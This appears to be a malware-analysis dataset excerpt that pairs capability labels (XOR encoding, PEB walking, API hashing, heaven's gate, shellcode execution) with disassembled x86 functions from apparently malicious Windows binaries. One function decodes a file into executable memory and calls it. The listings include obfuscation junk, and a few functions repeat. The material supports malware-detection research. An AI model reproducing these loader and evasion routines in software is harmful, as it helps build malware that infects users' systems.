joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1b4c653d
Capabilities:
Encode data using xor

Disassembly:
call 0x1b4c64b6
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1b4c64e6
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1b4c6502
xor edx, 0
jmp 0x1b4c650d
xor edx, edx
jmp 0x1b4c6524
jmp 0x1b4c6530
xor eax, eax
push 0x8427d7c0
call 0x1b4c653d
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1b4c6579
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1b4c6552
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1b4c6590
add eax, 0
jno 0x1b4c6595
add esi, 0
ret 0x10

Function at 0x1b4c72fe
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1b4c7320
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1b4c74c2
cmp edi, dword [ebp + 0x10]
jb 0x1b4c74c2
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1b4c6dea
inc edi
jmp 0x1b4c73a9
jmp 0x1b4c73b6
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1b4c6dea
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1b4c6dea
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1b4c740a
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1b4c73ee
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1b4c7438
add dword [eax], 0x39
jle 0x1b4c7414
sub al, 0xf5
mov ch, al
call fcn.1b4c744d
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x1b4c9125
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1b4c913b
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1b4c914c
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1b4c918d
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1b4cb4f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1b4cb442
add ebx, 0
push ecx
call 0x1b4cb457
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c35b2a0
sub ebx, dword [0x6c37aadf]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c37aacf
call fcn.1b4c6f21
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1b4c642f
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1b4cb5b5
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1b4cb5b5
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1b4cb56c
mov eax, 1
lock xchg dword [0x6c37aadb], eax
push 0x3dd1fc71
call 0x1b4cb4f9
push esi
add esp, 8
cmp eax, 0
jne 0x1b4cb4e2
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1b4cb508
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1b4cb51d
cmp ecx, edx
cmp eax, 0
je 0x1b4cb542
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1b4cb52c
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1b4cb55b
dec eax
loope 0x1b4cb55e
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c37aadb], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1b4cb592
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1b4cb5a7
jmp 0x1b4cb5b2
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1b4cb4a0
Function at 0x1b4d261a
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x1b4d28f0
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c367753
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c35e719
push 0xffffffffffffffff
call fcn.1b4c981a
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1b4d2684
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.1b4d269c
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1b4d28e4
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1b4d28b8
Function at 0x1b4e20ea
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1b4e210c
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1b4e210c
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1b4e210c
ret
cmp word [ebx + 4], 0x14c
jne 0x1b4e210c
test word [ebx + 0x16], 2
je 0x1b4e210c
test word [ebx + 0x16], 0x100
je 0x1b4e210c
cmp word [ebx + 0x18], 0x10b
jne 0x1b4e210c
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1b4e210c
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1b4e2198
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1b4e212c
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1b4c9077
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1b4e210c
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1b4e2198
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1b4e210c
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1b4e210c
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1b4e210c
ret
cmp word [ebx + 4], 0x14c
jne 0x1b4e210c
test word [ebx + 0x16], 2
je 0x1b4e210c
test word [ebx + 0x16], 0x100
je 0x1b4e210c
cmp word [ebx + 0x18], 0x10b
jne 0x1b4e210c
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1b4e210c
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1b4e2198
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1b4e212c
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1b4c9077
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1b4e210c
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1b4e224f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1b4e22a8
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1b4e224f
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1b4e225e
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1b8e7f01
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1b4e22af
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1b4c9125
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1b4e234e
add edi, 4
add eax, 2
dec ecx
jne 0x1b4e2294
call 0x1b4e22fb
loope 0x1b4e22f1
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1b4e234b
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1b4e235c
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1b4e230f
cmp eax, ecx
ja 0x1b4e230f
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1b4e2399
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1b4e238f
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1b4c9604
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1b4e225e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1b4e22a8
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1b4e224f
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1b4e225e
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1b8e7f01
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1b4e22af
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1b4c9125
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1b4e234e
add edi, 4
add eax, 2
dec ecx
jne 0x1b4e2294
call 0x1b4e22fb
loope 0x1b4e22f1
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1b4e234b
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1b4e235c
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1b4e230f
cmp eax, ecx
ja 0x1b4e230f
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1b4e2399
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1b4e238f
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1b4c9604
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x406be4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x406c27
push 0x2b
push 0x4012fb8
push 6
call fcn.0041779f
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x269974f]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.00403641
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.004194f0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x406c7a
push ebx
call fcn.0041778d
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x406cb0
push 0x84
push 0x4012fb8
push 6
call fcn.0041779f
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x406ccc
push eax
mov ebx, eax
call fcn.00401081
inc eax
push eax
call fcn.00417793
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x406cd1
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x406ce2
push ebx
call fcn.0041778d
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x408f21
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x408f4d
add dword [esp], 5
retf

Function at 0x40ab8a
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x40aba0
mov eax, dword [ebp + 8]
mov edx, dword fs:[0x18]
mov dword [eax], edx
push 0x33
call 0x40aba7
add dword [esp], 5
retf

Function at 0x40ac01
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push 0x33
call 0x40ac0b
add dword [esp], 5
retf
Function at 0x40afab
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
cmp dword [ebp + 8], 0xfffffffe
jne 0x40b0e2
mov eax, dword fs:[0x18]
mov dword [ebp - 4], eax
mov ax, 0x53
mov fs, eax
push 0x33
call 0x40b0ad
add dword [esp], 5
retf
lea eax, [ebp - 0x3c]
push eax
call fcn.00408be8
mov dword [ebp - 0x44], eax
mov eax, 0
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
push 0x30
push dword [ebp - 0x44]
push 0
push dword [ebp + 8]
call fcn.0040b24b
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x58], 0
jne 0x40b11f
cmp dword [ebp - 0x54], 0
jne 0x40b136
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
jmp 0x40b140
mov eax, 0
jmp 0x40b245
cmp dword [ebp + 0x18], 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x40b17c
xor eax, eax
cmp dword [ebp - 8], 0
jl 0x40b16d
jg 0x40b16c
cmp dword [ebp - 0xc], 0xffff
jbe 0x40b16d
inc eax
test eax, eax
je 0x40b17c
mov eax, 1
jmp 0x40b181
mov eax, 0
test eax, eax
je 0x40b1f3
push dword [ebp + 8]
call fcn.0040b4ec
push edx
push eax
push 1
push 0
push 1
push 0x1f0fff
call fcn.0040b605
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jle 0x40b1f3
push dword [ebp - 0x40]
call fcn.0040b9eb
test eax, eax
je 0x40b1d3
mov eax, dword [ebp - 0x40]
cdq
push edx
push eax
call fcn.0040ba6b
jmp 0x40b1f3
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x40]
cdq
push edx
push eax
call fcn.0040bd4b
mov eax, dword [ebp - 0x40]
cdq
push edx
push eax
call fcn.0040ba6b
cmp dword [ebp + 0x10], 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x40b21a
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
mov dword [ebx + 4], edx
cmp dword [ebp + 0x18], 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x40b23b
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 0x14]
mov dword [ebx], eax
mov eax, 1
jmp 0x40b245
mov esp, ebp
pop ebp
ret 0x14
Function at 0x40d5f7
Capabilities:
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
cmp dword [0x2699ebf], 0xffff
jge 0x40d61f
push 0x3cfa685d
call fcn.0040d62d
mov dword [0x2699ebf], eax
mov eax, dword [0x2699ebf]
jmp 0x40d629
mov esp, ebp
pop ebp
ret

Function at 0x40d62d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
pop ebp
pop edx
pop ecx
push edx
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40d681
mov al, cl
cmp al, 0x61
jb 0x40d65c
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40d681
mov al, cl
cmp al, 0x61
jb 0x40d674
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40d64d
cmp edx, dword [esp + 0x18]
je 0x40d691
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40d646
xor eax, eax
jmp 0x40d694
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x40d7b6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
mov ecx, dword [esp]
mov edx, dword [esp + 8]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 4]
add esp, 8
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x40d8b7
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x40d8bd
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40d818
cmp al, 0x61
jb 0x40d810
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40d803
cmp edx, dword [esp + 0x14]
je 0x40d828
dec ecx
jne 0x40d7f8
xor eax, eax
jmp 0x40d8b7
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x40d8b7
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x40d8b7
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x40d868
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x40d877
jmp 0x40d85f
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call 0x40d8bd
test eax, eax
je 0x40d8b7
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40d8b2
cmp al, 0x61
jb 0x40d8aa
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40d89d
call 0x40d7cc
mov dword [esp + 0x1c], eax
popal
ret
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x40d90a
mov al, cl
cmp al, 0x61
jb 0x40d8e5
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x40d90a
mov al, cl
cmp al, 0x61
jb 0x40d8fd
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40d8d6
cmp edx, dword [esp + 0x18]
je 0x40d91a
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x40d8cf
xor eax, eax
jmp 0x40d91d
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret